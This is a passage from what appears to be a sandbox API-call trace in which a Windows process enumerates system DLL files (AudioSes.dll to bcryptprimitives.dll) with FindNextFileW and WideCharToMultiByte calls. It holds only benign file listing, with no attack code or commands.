lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.041] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.041] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x1efc120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0261.041] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x1efc288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0261.041] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x1efc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0261.041] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x1efc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.042] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.042] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x1efc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0261.042] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x1efc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0261.042] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.042] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0261.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0261.042] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x1efc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x1efc288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x1efc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.043] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 